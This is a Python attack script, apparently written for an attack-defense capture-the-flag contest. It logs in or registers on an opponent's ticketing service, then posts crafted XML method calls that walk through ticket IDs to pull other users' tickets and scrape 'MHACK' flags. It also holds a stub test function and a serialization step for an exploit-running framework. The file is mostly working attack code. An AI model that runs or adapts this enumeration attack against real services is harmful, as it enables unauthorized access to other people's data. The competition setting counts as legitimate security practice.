import random
import time
import re
import string
import util_marshal


def exploit_wit(opponent):
    session = requests.session()
    base_url = "http://{}:".format(opponent)
    home_url = base_url + "8080"
    register_url = base_url + "5000/register"
    login_url = base_url + "5000/login"
    authorize_1 = base_url + "5000/oauth2/authorize"
    api_url = base_url + "8080/api/tickets/"
    burp0_headers = {"Accept": "*/*",
                     "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",
                     "Origin": base_url + "8081", "Referer": base_url + "8081/"}
    reg_data = {"first_name": "moll", "family_name": "moll", "nickname": "moll", "email": "ppp@ppap.ppp",
                "password": "poiu", "confirm": "poiu"}
    login_data = {"email": "ppp@ppap.ppp", "password": "poiu"}
    flags = []
    try:
        session.get(home_url)
        r = session.post(login_url, headers=burp0_headers, data=login_data)
        if r.status_code != 200:
            r = session.post(register_url, headers=burp0_headers, data=reg_data)
            print(r.status_code)
        r = session.post(authorize_1)
        # print(r.text)
        i = -1
        cnt = 0
        while i < 1000 and cnt < 70:
            i += 1
            burp0_data = "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\" ?><methodCall name=\"get\"><arguments><type>com.mhackectf.erp.Api.dto.GetTicketDto</type><value><GetTicketDto><ticketID>" + str(
                i) + "</ticketID><captcha>4195+981</captcha><userInsertedCaptcha>4195+981</userInsertedCaptcha></GetTicketDto></value></arguments></methodCall>"
            r = session.post(api_url, headers=burp0_headers, data=burp0_data)

            if r.status_code == 400:
                cnt += 1
            else:
                cnt = 0
                if r.status_code != 404 and r.status_code != 403 and r.status_code != 400 and "MHACK" in r.text:
                    res = re.findall("MHACK[{][A-Za-z0-9-_]{32}[}]", r.text)
                    for flag in res:
                        flags.append(flag)
    except Exception as e:
        print(e)
    time.sleep(1)
    return flags


def test_exploit(_opponent):
    alphanum = list(string.digits + string.ascii_lowercase + string.ascii_uppercase)
    flag_str = "".join([random.choice(alphanum) for _ in range(25)])
    flag = "CCIT{" + flag_str + "}"
    flag_regex = "CCIT[{][0-9a-zA-Z]{25}[}]"
    res = random.choice([flag, "lol nope"])
    flags_found = re.findall(flag_regex, res)
    time.sleep(2)
    return flags_found


if __name__ == "__main__":
    opponents = []
    service = "stub_service"
    serial = util_marshal.serialize_exploit(test_exploit, opponents, service)
    with open("../{}.JSON".format(service), 'w') as f:
        f.write(serial)
    flags = test_exploit("10.0.0.36")
    print(flags)
